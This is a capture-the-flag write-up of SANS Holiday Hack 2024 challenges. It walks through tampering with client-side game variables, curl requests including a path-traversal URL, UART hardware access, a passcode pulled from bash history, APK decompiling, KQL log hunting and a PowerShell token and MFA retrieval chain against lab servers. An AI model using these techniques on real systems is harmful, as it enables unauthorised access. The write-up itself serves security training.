SANS Holiday Hack 2024 Write-Up
Another year of finishing SANS Holiday Hack! This year had some cool challenges involving ransomware reverse engineering, hardware hacking, MQTT, KQL, Elastic, mobile app exploitation, and even drone path analysis. One of the last challenges was cryptography-heavy and got me stuck for a while, but working with other players helped me get through. Thanks to SANS for another good challenge!
Elf Connect
Objective
Help Angel Candysalt connect the dots in a game of connections.
Hints
- Easy: group three-four items together, solve the game normally
- Hard: Someone got a high score of 50,000, way beyond the limit. Max score should be only 1,600. Use the browser dev tools console and look around - a variable named ‘score’ may exist.
Progress
Solved the easy portion the correct, “Connections” way.
For the hard portion, I used the hint to dive into the browser dev tools console, and I found the client-side variable score.
Since this was client-side, and I had full control of it, I used the console to update the value:
score = 60000;
I solved one of the connections, to allow the game to check my score, and it updated to 60,100, solving the challenge.
Elf Minder 9000
Objective
Assist Poinsettia McMittens with playing a game of Elf Minder 9000.
Hints
- Elf Minder 9000: RTD (Read the Docs): Read the “Help” section thoroughly! You will learn how to use the tools necessary to safely guide your elf and collect all the crates.
- Elf Minder 9000: Reusable Paths: Some levels will require you to click and rotate paths in order for your elf to collect all the crates.
- Elf Minder 9000: TODO: When developing a video game-even a simple one-it’s surprisingly easy to overlook an edge case in the game logic, which can lead to unexpected behavior. “I’ve run into some weirdness with the springs though”. She also mentions the word “comment” in bold.
Progress
Halfway through just playing the game like normal, I found a “fix this” code comment in the Javascript relating to springs, but couldn’t quite understand it.
if (this.isPointInAnySegment(nextPoint) || entityHere) {
if (entityHere) return this.segments[0][0]; // fix this
return nextPoint;
} else {
return;
Writing it out as pseudocode:
If the next tile is part of a path segment, or is a portal or spring:
If the next tile is a portal or spring:
Return segments[0][0] # What is segments[0][0]?
So, I should experiment with lining up multiple springs with eachother (or portals).
Found it! Segments[0][0] is the start point. If you line up two springs in the jump path with each other, instead of continuing the jump, it resets you back to 0. Is that helpful? We’ll see.
It’s not actually the home point, it is the beginning of the line segment you’re on (if you break the home segment line first). Which you can shorten, real-time by rotating pieces of the segment during the game. That may be helpful.
Think you can only jump back to a straight line segment.
I ended up just solving the silver challenges in the gamified way, without exploiting that bug.
cURLing
Objective
Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!
Hints
- Read the man page
- “Don’t squash”: Take a look at cURL’s “–path-as-is” option; it controls a default behavior that you may not expect!
Progress
1) Curl this webserver at port 8080
alabaster@curlingfun:~$ curl http://curlingfun:8080
You have successfully accessed the site on port 8080!
If you need help, please remember to run "hint" for a hint!
2) Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented. Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/
alabaster@curlingfun:~$ curl https://curlingfun:9090 -k
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.
If you need help, please remember to run "hint" for a hint!
3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter “skip” set to the value “alabaster”, declaring Alabaster as the team captain.
alabaster@curlingfun:~$ curl https://curlingfun:9090 -k -d skip=alabaster
You have successfully made a POST request!
4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie. Use curl to send a request to https://curlingfun:9090/ with a cookie called “end” with the value “3”, indicating we’re on the third end of the curling match.
alabaster@curlingfun:~$ curl https://curlingfun:9090 -k --cookie "end=3"
You have successfully set a cookie!
5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers. Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/
alabaster@curlingfun:~$ curl https://curlingfun:9090 -k -v
<snip>
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 22 Nov 2024 15:25:49 GMT
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Custom-Header: You have found the custom header!
6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers. Use curl to send a request to https://curlingfun:9090/ with an HTTP header called “Stone” and the value “Granite”.
alabaster@curlingfun:~$ curl https://curlingfun:9090 -k --header "Stone: Granite"
You have successfully set a custom HTTP header!
7) curl will modify your URL unless you tell it not to. For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks
alabaster@curlingfun:~$ curl https://curlingfun:9090/../../etc/hacks -k --path-as-is
You have successfully utilized --path-as-is to send a raw path!
Used hint here
Frosty Keypad
Objective
In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa’s lost secrets?
Hints
- Who Are You Calling a Dorf?: Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!
- Just Some Light Reading: See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by…
- Shine Some Light on It: Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch…but…what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used…
Progress
Found a UV flashlight and the Frosty Book near the area.
The book leads to this URL: https://frost-y-book.com/
Putting the UV light on the keypad revealed the numbers 2,6,7,8.
It seems like we can cross reference the numbers in the challenge sticky note with the book somehow. After trial and error, the syntax appeared to be:
page number: word number : letter number
Following that formula, the digits spell SANTA. If I treat this like a phone number, then the corresponding digits are 72682. That code unlocked the shredder.
Hardware Hacking 101 Part 1
Objective
Ready your tools and sharpen your wits—only the cleverest can untangle the wires and unlock Santa’s hidden secrets!
Jingle all the wires and connect to Santa’s Little Helper to reveal the merry secrets locked in his chest!
Hints
- On the Cutting Edge: Hey, I just caught wind of this neat way to piece back shredded paper! It’s a fancy heuristic detection technique—sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: heuristic_edge_detection.py.”
- Shredded to Pieces: Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?
Progress
I grabbed the supplied Python script and installed the Python libraries it needed: pillow
and numpy
.
The script wanted the slices/ directory beside it, and that was supplied from the last challenge. Running the script generated the assembled_image.png
The image is intentionally hard to read, flipping it helped. Iit provides the following serial settings:
BAUD: 115200
PARITY: EVEN
DATA: 7 BITS
STOP BITS: 1 BIT
FLOW CONTROL: RTS
Attempting to connect to the hardware, I had a few issues:
- Wasn’t sure what the GRTV label was. ChatGPT had the idea that it was an acronym for “GND, RX, TX, and VCC” and that denoted where to connect the GPIO pins.
- Wasn’t sure which voltage to use - 3 or 5. Basically tried both until it worked.
- Was using the wrong port for a while - it needed to be USB0.
- Apparently TX and RX must be swapped when connecting a UART device to your machine. Got the idea here: https://www.secureideas.com/blog/hardware-hacking-interfacing-to-uart-with-your-computer
This is the configuration that ended up working:
Hardware Hacking 101 Part 2
Objective
Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest—modify the access_cards database to gain entry!
We need to access the terminal and modify the access database. We’re looking to grant access to card number 42.
Start by using the slh application - that’s the key to getting into the access database. Problem is, the slh tool is password-protected, so we need to find it first.
Once you find it, modify the entry for card #42 to grant access.
Hints
- Hidden in Plain Sight: It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.
- It’s In the Signature: I seem to remember there being a handy HMAC generator included in CyberChef.
Progress
The cards are in a table with columns:
Id, uuid, access, signature
(1, 'b1709de8-9156-4af3-8816-2d2b602add1c', 1, '89a91da4617f5cab84a6387f2f5a6c1dee4134fb77be87c78c0ec053a343e155')
This is the card in question (42):
slh@slhconsole\> slh --view-card 42
Details of card with ID: 42
(42, 'c06018b6-5e80-4395-ab71-ae5124560189', 0, 'ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd')
If I try to grant full access to that card, I get:
slh@slhconsole\> slh --set-access 1 --id 42
Invalid passcode. Access not granted.
Using the hint, we can look at the bash history with history
and find a passcode “CandyCaneCrunch77”.
slh@slhconsole\> slh --set-access 1 --id 42 --passcode CandyCaneCrunch77
* * * * * * * * * * *
* *
* ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ *
* $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ *
* $$ __$$\ $$ __$$\ $$ __$$\ $$ _____|$$ __$$\ $$ __$$\ *
*$$ / $$ |$$ / \__|$$ / \__|$$ | $$ / \__|$$ / \__| *
$$$$$$$$ |$$ | $$ | $$$$$\ \$$$$$$\ \$$$$$$\
*$$ __$$ |$$ | $$ | $$ __| \____$$\ \____$$\ *
* $$ | $$ |$$ | $$\ $$ | $$\ $$ | $$\ $$ |$$\ $$ | *
* $$ | $$ |\$$$$$$ |\$$$$$$ |$$$$$$$$\ \$$$$$$ |\$$$$$$ | *
* \__| \__| \______/ \______/ \________| \______/ \______/ *
* * ❄ ❄ * ❄ ❄ ❄ *
* * * * * * * * * *
* $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\ $$\ *
* $$ __$$\ $$ __$$\ $$ __$$\ $$$\ $$ |\__$$ __|$$ _____|$$ __$$\ $$ | *
* $$ / \__|$$ | $$ |$$ / $$ |$$$$\ $$ | $$ | $$ | $$ | $$ |$$ |*
* $$ |$$$$\ $$$$$$$ |$$$$$$$$ |$$ $$\$$ | $$ | $$$$$\ $$ | $$ |$$ | *
* $$ |\_$$ |$$ __$$< $$ __$$ |$$ \$$$$ | $$ | $$ __| $$ | $$ |\__|*
* $$ | $$ |$$ | $$ |$$ | $$ |$$ |\$$$ | $$ | $$ | $$ | $$ | *
* \$$$$$$ |$$ | $$ |$$ | $$ |$$ | \$$ | $$ | $$$$$$$$\ $$$$$$$ |$$\ *
* \______/ \__| \__|\__| \__|\__| \__| \__| \________|\_______/ \__| *
* ❄ ❄ ❄ *
* * * * * * * * * * * * * * *
Card 42 granted access level 1.
Mobile Analysis
Objective
Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.
This android app is a modern alternative to Santa’s Naughty-Nice list. There is a debug and a release version of the app.
Eve accidentally left out a child’s name on each version, but she can’t remember who.
Start with the Debug version and figure out which child’s name isn’t shown in the list within the app.
Hints
- Tools - Try using apktool or jadx
- Missing - Maybe look for what names are included and work back from that?
Progress
Downloaded jadx-gui
and opened Santa_Swipe.apk
(the Debug version).
I searched for a few text strings, but found “DatabaseHelper” after searching for “list”. This code revealed that this app read the list of children from a SQLite db named “naughtynicelist.db”.
This is the full list of children:
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Carlos, Madrid, Spain');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Aiko, Tokyo, Japan');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Maria, Rio de Janeiro, Brazil');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Liam, Dublin, Ireland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Emma, New York, USA');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Chen, Beijing, China');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Fatima, Casablanca, Morocco');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Hans, Berlin, Germany');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Olga, Moscow, Russia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ravi, Mumbai, India');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Amelia, Sydney, Australia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Juan, Buenos Aires, Argentina');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sofia, Rome, Italy');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ahmed, Cairo, Egypt');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Yuna, Seoul, South Korea');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ellie, Alabama, USA');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Lucas, Paris, France');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Mia, Toronto, Canada');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sara, Stockholm, Sweden');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ali, Tehran, Iran');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Nina, Lima, Peru');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Anna, Vienna, Austria');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Leo, Helsinki, Finland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Elena, Athens, Greece');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Davi, Sao Paulo, Brazil');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Marta, Warsaw, Poland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Noah, Zurich, Switzerland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ibrahim, Ankara, Turkey');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Emily, Wellington, New Zealand');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Omar, Oslo, Norway');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Fatou, Dakar, Senegal');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Olivia, Vancouver, Canada');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ethan, Cape Town, South Africa');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Santiago, Bogota, Colombia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Isabella, Barcelona, Spain');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ming, Shanghai, China');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Chloe, Singapore, Singapore');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Mohammed, Dubai, UAE');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ava, Melbourne, Australia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Luca, Milan, Italy');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sakura, Kyoto, Japan');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Edward, New Jersey, USA');");
The hint says to work backwards from here. So, I launched the app in an online APK emulator and went down the list of children, comparing it to the above list, until I found a discrepancy.
The missing child was Ellie, from Alabama.
Snowball Showdown
Objective
Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by hitting him with more snowballs than he does to us.
Hints
Progress
The first objective is to get into single player mode, which doesn’t look immediately accessible from the menus. Looking at the Javascript, I can see a function and variable of note:
var singlePlayer = "false"
function checkAndUpdateSinglePlayer() {
const localStorageValue = localStorage.getItem('singlePlayer');
if (localStorageValue === 'true' || localStorageValue === 'false') {
singlePlayer = String(localStorageValue === 'true');
}
const urlParams = new URLSearchParams(window.location.search);
const urlValue = urlParams.get('singlePlayer');
if (urlValue === 'true' || urlValue === 'false') {
singlePlayer = String(urlValue === 'true');
}
}
Apparently it checks a URL parameter, and sure enough, in my URL of a private room, I can see singlePlayer=false
. I change that in my URL to true, and the game starts.
The next objective is to cheat a bit and make my character better (maybe faster?).
After poking around the code for a while, I found the Constructor for the game object containing many variables relating to player speed and positioning. I enabled Local Overrides in Chrome DevTools and modified the following variables:
this.playerMoveSpeed = 500;
this.throwSpeed = 5000;
this.throwRateOfFire = 800;
this.projectileCollisionDetectionRate = 0;
this.healingTerrain = false;
Of note, I disabled the healingTerrain
and increased my snowball speed manyfold. I used that fast snowball speed to break through the terrain separating us from Wombley, and made it to the other side before I was able to pelt him with snowballs at point blank range for the win.
Microsoft KC7
Objective
Answer two sections for silver, all four sections for gold.
Hints
- KQL 101: Learn and practice basic KQL queries to analyze data logs for North Pole operations.
- Operation Surrender: Investigate a phishing attack targeting Wombley’s team, uncovering espionage activities.
Progress
Section 1
1)
How many elves did you find? 90
Employees
| count
2)
Can you find out the name of the Chief Toy Maker? Shinny Upatree
Employees
| where role == "Chief Toy Maker"
3)
How many emails did Angel Candysalt receive? 31 emails
Employees
| where name == "Angel Candysalt"
Email
| where recipient == "angel_candysalt@santaworkshopgeeseislands.org"
| count
4)
How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org? 32
Email
| where sender has "twinkle_frostington@santaworkshopgeeseislands.org"
| distinct recipient
| count
5)
How many distinct websites did Twinkle Frostington visit? 4
Employees
| where name == "Twinkle Frostington"
OutboundNetworkEvents
| where src_ip == "10.10.0.36"
| distinct url
| count
6)
How many distinct domains in the PassiveDns records contain the word green? 10
PassiveDns
| take 10
PassiveDns
| where domain contains "green"
| distinct domain
| count
7)
How many distinct URLs did elves with the first name Twinkle visit? 8
let twink_ips =
Employees
| where name has "Twinkle"
| distinct ip_addr;
OutboundNetworkEvents
| where src_ip in (twink_ips)
| distinct url
| count
Section 2
1)
Who was the sender of the phishing email that set this plan into motion? surrender@northpolemail.com
Email
| where subject has "surrender"
2)
How many elves from Team Wombley received the phishing email? 22
Email
| where subject contains "surrender"
| distinct recipient
| count
3)
What was the filename of the document that Team Alabaster distributed in their phishing email? Team_Wombley_Surrender.doc
Email
| where subject contains "surrender"
4)
Who was the first person from Team Wombley to click the URL in the phishing email? Joyelle Tinseltoe
Employees
| join kind=inner (
OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, url, timestamp // project returns only the information you select
| sort by timestamp asc //sorts time ascending
5)
What was the filename that was created after the .doc was downloaded and executed? keylogger.exe
Employees
| where name == "Joyelle Tinseltoe"
ProcessEvents
| where timestamp between(datetime("2024-11-27T14:11:45Z") .. datetime("2024-11-27T15:11:45Z"))
| where hostname == "Elf-Lap-W-Tinseltoe"
Drone Path
Objective
Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.
Hints
- I think they hide the admin password in the drone flight logs
- You’ll be working with KML files, tracking drone flight paths.
- Use tools like Google Earth and some Python scripting to decode the hidden passwords and codewords locked in those files
Progress
There is one KML file available without logging in: fritjolf-Path.kml
I imported that file into Google Earth to find GUMDROP1
spelled over Antarctica:
One can surmise that is a password. What is the username though? After guessing for a while, it ended up being the name in the file - fritjolf
.
After logging in, in my profile, there is important info: “Note to self, remember drone name, it is the same location as secret snowball warehouses /files/secret/Preparations-drone-name.csv”
The CSV file contained a series of coordinates, so I wrote a Python script to ingest each lat/long and convert it to a KML file:
import csv
import simplekml
filename = 'Preparations-drone-name.csv'
kml = simplekml.Kml()
with open(filename, 'r') as csvfile:
datareader = csv.reader(csvfile)
headers = next(datareader)
long_index = headers.index("OSD.longitude")
lat_index = headers.index("OSD.latitude")
for row in datareader:
long = row[long_index]
lat = row[lat_index]
kml.newpoint(name="Placemark", coords=[(long, lat)])
kml.save("coordinates.kml")
Importing the output coordinates.kml
file into Google Earth revealed the points in Australia, but there seemed to be no correlation. On further inspection, zooming into the coordinates, shapes of letters are visible. If each letter is read in order, they read:
ELF-HAWK
That is the name of a drone. We can plug that into the “Search for a Drone” website feature. That returns the following information:
“””
Drone Details
Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher
Comments for ELF-HAWK
These drones will work great to find Alabasters snowball warehouses. I have hid the activation code in the dataset ELF-HAWK-dump.csv. We need to keep it safe, for now it's under /files/secret.
We need to make sure we have enough of these drones ready for the upcoming operation. Well done on hiding the activation code in the dataset. If anyone finds it, it will take them a LONG time or forever to carve the data out, preferably the LATTER.
“””
We are given a new CSV file - ELF-HAWK-dump.csv
that somehow contains the activation code that makes you admin.
I passed that CSV into the same Python script and imported it into Google Earth, but it isn’t readable. I see some letters or numbers formed, so that gave me the thought that maybe it can’t be read in 3D.
I wrote a quick Python script to visualize the KML file with geopandas
and matplotlib
and got the following readable image, containing the flag:
import geopandas as gpd
import matplotlib.pyplot as plt
# Read the KML file
gdf = gpd.read_file("elf-hawk-dump.kml", driver="KML")
# Plot the geometries
gdf.plot()
plt.show()
PowerShell
Objective
Team Wombley is developing snow weapons in preparation for conflict, but they’ve been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.
Hints
Progress
1)
PS /home/user> type welcome.txt
System Overview
2)
PS /home/user> Get-Content ./welcome.txt | Measure-Object -Word
Lines Words Characters Property
----- ----- ---------- --------
180
3) There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?
PS /home/user> netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:1225 0.0.0.0:* LISTEN
tcp6 0 0 172.17.0.10:36024 52.188.247.150:443 ESTABLISHED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 941445703 /tmp/tmux-1050/default
unix 2 [ ACC ] STREAM LISTENING 941461926 /tmp/dotnet-diagnostic-206-63978205-socket
unix 2 [ ACC ] STREAM LISTENING 941461115 /tmp/CoreFxPipe_PSHost.DB412F83.206.None.pwsh
unix 3 [ ] STREAM CONNECTED 941446867
unix 3 [ ] STREAM CONNECTED 941445017 /tmp/tmux-1050/default
4)
PS /home/user> Invoke-WebRequest -URI http://localhost:1225
Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).
5)
PS /home/user> Invoke-WebRequest -URI http://localhost:1225 -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication
6) There are too many endpoints here. Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal.
PS /home/user> for ($i = 1; $i -lt 51; $i++) { Invoke-WebRequest -URI http://localhost:1225/endpoints/$i -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | Measure-Object -Word | Where-Object { $_.Words -eq 138 } | ForEach-Object { echo $i } }
13
PS /home/user> Invoke-WebRequest -URI http://localhost:1225/endpoints/13 -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication
StatusCode : 200
StatusDescription : OK
Content : <html><head><title>MFA token scrambler</title></head><body><p>Yuletide che
er fills the air,<br> A season of love, of care.<br> The world is br
ight, full of light,<br> As we celebrate this spe…
RawContent : HTTP/1.1 200 OK
Server: Werkzeug/3.0.6
Server: Python/3.10.12
Date: Thu, 28 Nov 2024 04:01:26 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 981
<html><head><title>MFA t…
Headers : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
tring[]], [Content-Type, System.String[]]…}
Images : {}
InputFields : {}
Links : {}
RawContentLength : 981
7) There seems to be a csv file in the comments of that page. That could be valuable, read the contents of that csv-file!
PS /home/user> Invoke-WebRequest -URI http://localhost:1225/endpoints/13 -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | select-object -ExpandProperty Content
<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br> A season of love, of care.<br> The world is bright, full of light,<br> As we celebrate this special night.<br> The tree is trimmed, the stockings hung,<br> Carols are sung, bells are rung.<br> Families gather, friends unite,<br> In the glow of the fire’s light.<br> The air is filled with joy and peace,<br> As worries and cares find release.<br> Yuletide cheer, a gift so dear,<br> Brings warmth and love to all near.<br> May we carry it in our hearts,<br> As the season ends, as it starts.<br> Yuletide cheer, a time to share,<br> The love, the joy, the care.<br> May it guide us through the year,<br> In every laugh, in every tear.<br> Yuletide cheer, a beacon bright,<br> Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>
PS /home/user> Invoke-WebRequest -URI http://localhost:1225/token_overview.csv -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | select-object -ExpandProperty Content
8) Luckily the defense mechanisms were faulty! There seems to be one api-endpoint that still isn’t redacted! Communicate with that endpoint!
PS /home/user> Invoke-WebRequest -URI http://localhost:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication
StatusCode : 200
StatusDescription : OK
Content : <h1>[!] ERROR: Missing Cookie 'token'</h1>
RawContent : HTTP/1.1 200 OK
Server: Werkzeug/3.0.6
Server: Python/3.10.12
Date: Thu, 28 Nov 2024 04:09:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 42
<h1>[!] ERROR: Missing Co…
Headers : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
tring[]], [Content-Type, System.String[]]…}
Images : {}
InputFields : {}
Links : {}
RawContentLength : 42
RelationLink : {}
9) It looks like it requires a cookie token, set the cookie and try again.
PS /home/user> Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication | Select-Object -ExpandProperty Content
<h1>Cookie 'mfa_code', use it at <a href='1732771277.685112'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>
Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -websession $session -Credential $cred -AllowUnencryptedAuthentication | Select-Object -ExpandProperty Content
10) Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint!
PS /home/user> Invoke-WebRequest -URI http://127.0.0.1:1225//mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvakue" } -Credential $cred -AllowUnencryptedAuthentication
<h1>[!] System currently in lock down</h1><br><h1>[-] ERROR: Missing Cookie 'mfa_token'</h1>
PS /home/user> $request = Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication; $tokenvalue = $request.Links.outerHTML.SubString(9,18); $mfareq = Invoke-WebRequest -URI http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvalue" } -Credential $cred -AllowUnencryptedAuthentication; $mfareq.Content
<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
11) That looks like base64! Decode it so we can get the final secret!
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
But I need to do it in PS.
PS /home/user> $request = Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication; $tokenvalue = $request.Links.outerHTML.SubString(9,18); $mfareq = Invoke-WebRequest -URI http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvalue" } -Credential $cred -AllowUnencryptedAuthentication; $encoded = $mfareq.Content.SubString(27,195); [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
Almost works, but I need to do better substring stuff. Here’s final answer:
PS /home/user> $request = Invoke-WebRequest -URI http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc" } -Credential $cred -AllowUnencryptedAuthentication; $tokenvalue = $request.Links.outerHTML.SubString(9,18); $mfareq = Invoke-WebRequest -URI http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{'Cookie' = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$tokenvalue" } -Credential $cred -AllowUnencryptedAuthentication; $encoded = $mfareq.Content.split("<p>"); $encoded = $encoded[1].split("</p>")[0]; [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
Elf Stack
Objective
Help the ElfSOC analysts track down a malicious attack against the North Pole domain.
Wombley unleashed their FrostBit ransomware, and the only backup of the Naughty Nice list was destroyed. We need to trace the attack vectors and events. If we can find the attack path, maybe we can salvage what’s left.
Hints
- Elf Stack Intro: I’m part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!
- Elf Stack Fields: If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.
- Elf Stack WinEvent: One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.
